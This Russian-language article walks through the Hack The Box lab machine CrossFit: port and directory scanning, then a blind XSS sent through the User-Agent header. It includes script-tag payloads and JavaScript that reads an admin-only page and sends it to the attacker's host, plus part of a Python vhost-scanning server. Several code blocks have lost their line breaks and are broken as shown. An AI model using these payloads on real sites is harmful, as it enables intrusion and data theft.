Взлом

HTB CrossFit. Раскручиваем сложную XSS, чтобы захватить хост


Содержание статьи

  • Разведка
  • Сканирование портов
  • Перебор каталогов
  • Точка входа
  • XSS
  • Шелл
  • Продвижение
  • Первый юзер
  • Второй юзер
  • Рут

В этой статье на при­мере «безум­ной» по уров­ню слож­ности машины CrossFit с пло­щад­ки Hack The Box я покажу, как искать XSS на недос­тупных стра­ницах сай­та, ска­ниро­вать домены через XSS, про­водить раз­ведку на машине с Linux, уда­лен­но исполнять код, исполь­зуя FTP, и экс­плу­ати­ровать инъ­екцию команд в поль­зователь­ском при­ложе­нии. А под конец нем­ного поревер­сим, что­бы най­ти финаль­ную уяз­вимость.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

Ад­рес машины — 10.10.10.208, добав­ляем его в /etc/hosts для удобс­тва.

10.10.10.208 crossfit.htb

Ска­ниру­ем пор­ты. Я, как всег­да, исполь­зую неболь­шой скрипт, который запус­кает Nmap в два эта­па: быс­трое общее ска­ниро­вание и затем ска­ниро­вание со скрип­тами на обна­ружен­ных пор­тах.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

Ре­зуль­тат работы скрип­та (про­дол­жение)

По резуль­татам ска­ниро­вания име­ем три откры­тых пор­та:

  • порт 21 — служ­ба FTP (обра­ти вни­мание на наличие сер­тифика­та);
  • порт 22 — служ­ба SSH;
  • порт 80 — веб‑сер­вер Apache.

На SSH нам ловить нечего, так как там мож­но раз­ве что брут­форсить учет­ные дан­ные, а это пос­леднее дело. Куда инте­рес­нее наличие сер­тифика­та у служ­бы FTP. Как учат все кур­сы раз­ведки, из сер­тифика­та мож­но получить инте­рес­ную информа­цию. У любого сер­тифика­та есть важ­ное поле Common Name — домен­ное имя сер­вера, для которо­го дей­стви­телен сер­тификат. В нашем слу­чае это gym-club.crossfit.htb.

До­мен­ное имя, ука­зан­ное в поле Common Name

Най­ден­ное имя мы сра­зу добав­ляем в файл /etc/hosts.

10.10.10.208 gym-club.crossfit.htb
 

Перебор каталогов

Пе­рехо­дим к веб‑сер­веру. На 80-м пор­те по адре­су http://crossfit.htb нас встре­чает стар­товая стра­ница Apache. А вот по най­ден­ному в сер­тифика­те домену http://gym-club.crossfit.htb откры­вает­ся сайт тре­нажер­ного зала.

Стар­товая стра­ница Apache по адре­су http://crossfit.htb

Поль­зователь­ский сайт http://gym-club.crossfit.htb

Од­но из пер­вых дей­ствий при пен­тестин­ге веб‑при­ложе­ния — это ска­ниро­вание сай­та на наличие инте­рес­ных катало­гов и фай­лов. Я обыч­но беру для это­го ути­литу gobuster. При запус­ке исполь­зуем сле­дующие парамет­ры:

  • dir — ска­ниро­вание дирек­торий и фай­лов;
  • -k — не про­верять SSL-сер­тификат;
  • -t [] — количес­тво потоков;
  • -u [] — URL-адрес для ска­ниро­вания;
  • -x [] — инте­ресу­ющие рас­ширения фай­лов, перечис­ленные через запятую;
  • -w [] — сло­варь для перебо­ра;
  • --timeout [] — вре­мя ожи­дания отве­та.

gobuster dir -t 128 -u http://crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s

Об­наружен­ные под­катало­ги и фай­лы на http://crossfit.htbgobuster dir -t 128 -u http://gym-club.crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s

Об­наружен­ные под­катало­ги и фай­лы на http://gym-club.crossfit.htb

По резуль­татам ска­ниро­вания мож­но ска­зать, что http://crossfit.htb инте­реса боль­ше не пред­став­ляет. На http://gym-club.crossfit.htb есть инте­рес­ный каталог с вызыва­ющим наз­вани­ем security_threat. В нем — единс­твен­ный файл, при обра­щении к которо­му получа­ем сооб­щение, что дос­туп к информа­ции огра­ничен.

Со­дер­жимое http://gym-club.crossfit.htb

Об­наружен­ные под­катало­ги и фай­лы на http://gym-club.crossfit.htb

По­ка ничего сущес­твен­ного мы не наш­ли, но все же получи­ли допол­нитель­ную информа­цию.

 

Точка входа

При осмотре сай­та находим фор­му отправ­ки ком­мента­риев, которые могут быть под­верже­ны XSS. Вот толь­ко ответ мы не видим, поэто­му нуж­но выпол­нить отстук на свой хост. Для это­го откро­ем порт с помощью прос­того веб‑сер­вера на Python, что­бы мы мог­ли отлавли­вать все обра­щения.

sudo python3 -m http.server 80

И, ког­да все готово, отпра­вим наг­рузку, которая дол­жна заг­рузить уда­лен­ный скрипт на JS.

<script src="https://[локальный IP адрес]/></script>

Тес­товая наг­рузка в поле ком­мента­рия

В качес­тве отве­та на такой ком­мента­рий получа­ем сооб­щение об обна­ружен­ной и заб­локиро­ван­ной ата­ке XSS!

Со­обще­ние о бло­киров­ке XSS

Здесь ска­зано, что наш IP-адрес и информа­ция о бра­узе­ре будут пре­дос­тавле­ны адми­нис­тра­тору ресур­са. Прек­расно! Зна­чит, мы можем поп­робовать выпол­нить XSS, но уже для адми­нис­тра­тора.

На источник IP мы пов­лиять не можем, а вот информа­цию о бра­узе­ре сер­вис узна­ет из заголов­ка User-Agent про­токо­ла HTTP. Зна­чение это­го заголов­ка мы можем под­менить хоть в самом бра­узе­ре, хоть в спе­циаль­ных при­ложе­ниях вро­де Burp.

Сто­ит пом­нить, что сооб­щение будет дос­тавле­но толь­ко в слу­чае детек­та XSS. То есть нуж­но отпра­вить наг­рузку и в поле ком­мента­рия, и в заголов­ке User-Agent. Я открыл порт 8888 и заменил зна­чение заголов­ка при помощи Burp. Пос­ле отправ­ки зап­роса получа­ем отклик в логах нашего веб‑сер­вера.

Зап­рос, содер­жащий наг­рузку XSS в заголов­ке User-Agent

По­пыт­ка заг­рузки скрип­та с веб‑сер­вера локаль­ного хос­та (отклик)

Это зна­чит, что мы можем выпол­нить заг­рузку уда­лен­ного скрип­та на JS и экс­плу­ати­ровать XSS.

 

XSS

Те­перь нуж­но опре­делить­ся с век­тором ата­ки. Пом­нишь стра­ницу с огра­ниче­нием дос­тупа? От име­ни адми­нис­тра­тора мы навер­няка смо­жем ее пос­мотреть, а XSS поможет нам в этом. Код стра­ницы мы получим, исполь­зуя методы open и send объ­екта XMLHttpRequest.

var xhr = new XMLHttpRequest();xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.send();

Код зап­рошен­ной стра­ницы здесь сох­раня­ется в перемен­ной xhr.responseText, и его еще нуж­но передать на наш сер­вер, что­бы он отоб­разил­ся в логах. Зна­чение для сох­ранения целос­тнос­ти сна­чала закоди­руем в Base64, что­бы непеча­таемые сим­волы нам не помеша­ли. В качес­тве триг­гера для отправ­ки будем исполь­зовать метод onload объ­екта XMLHttpRequest. Пол­ный код выг­лядит сле­дующим обра­зом.

var xhr = new XMLHttpRequest();xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.onload = function () { var request = new XMLHttpRequest(); request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(xhr.responseText), true); request.send();};xhr.send();

Сох­раня­ем его в файл (у меня evil.js) в дирек­тории запущен­ного веб‑сер­вера. Пос­ле чего пов­торя­ем зап­рос с извес­тной наг­рузкой в заголов­ке User-Agent, но уже ука­зыва­ем для заг­рузки скрип­та свой файл.

<script src="https://10.10.14.80:8888/evil.js"></script>

В логах веб‑сер­вера получа­ем информа­цию: сна­чала о заг­рузке скрип­та, а потом обра­щение к вымыш­ленной стра­нице. В качес­тве аргу­мен­та при­ходят дан­ные в кодиров­ке Base64, декоди­руем их.

Ло­ги локаль­ного веб‑сер­вера

Де­коди­рова­ние кода стра­ницы report.php

К сожале­нию, ничего инте­рес­ного мы не получа­ем, так что в этом мес­те мне приш­лось креп­ко задумать­ся о том, как раз­вивать ата­ку даль­ше. В голову приш­ла идея про­верить дос­тупные с localhost вир­туаль­ные хос­ты. Ска­нер для это­го при­дет­ся реали­зовать самос­тоятель­но.

Идея сос­тоит в том, что мы будем про­воци­ровать уда­лен­ный хост сно­ва и сно­ва заг­ружать скрипт на JS с нашего локаль­ного сер­вера, но толь­ко каж­дый раз мы будем воз­вра­щать такой скрипт, который вмес­то стра­ницы http://gym-club.crossfit.htb/security_threat/report.php будет зап­рашивать кор­невую стра­ницу на раз­ных под­доменах http://[random].crossfit.htb.

Прог­рамми­ровать будем на питоне. Нам нуж­но про­верять код отве­та — если он равен 200, зна­чит, вир­туаль­ный хост сущес­тву­ет.

Сна­чала пишем стан­дар­тную «базу» для сер­вера.

#!/usr/bin/env python3from http.server import BaseHTTPRequestHandler, HTTPServerimport loggingimport requestsdef run(server_class=HTTPServer, handler_class=EvilServer, port=8888): server_address = ('', port) httpd = server_class(server_address, handler_class) request() try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close()if __name__ == '__main__':run()

Что­бы избе­жать кеширо­вания фай­ла при мно­гок­ратном зап­росе, будем вес­ти счет­чик vhost_number и каж­дый раз менять имя фай­ла со скрип­том на JS. В качес­тве сло­варя исполь­зуем namelist.txt из набора SecLists.

global vhost_numbervhost_number = 0;with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f: global vhostsvhosts = f.read().split('n')[:-1]

Те­перь реали­зуем фун­кцию пер­воначаль­ной отправ­ки ком­мента­рия, которая будет отсы­лать наг­рузку.

def request(): headers = {'User-Agent':'<script src="https://10.10.14.80:8888/evil'+str(vhost_number)+'.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'} data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'} requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)

Источник: xakep.ru

Оставить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *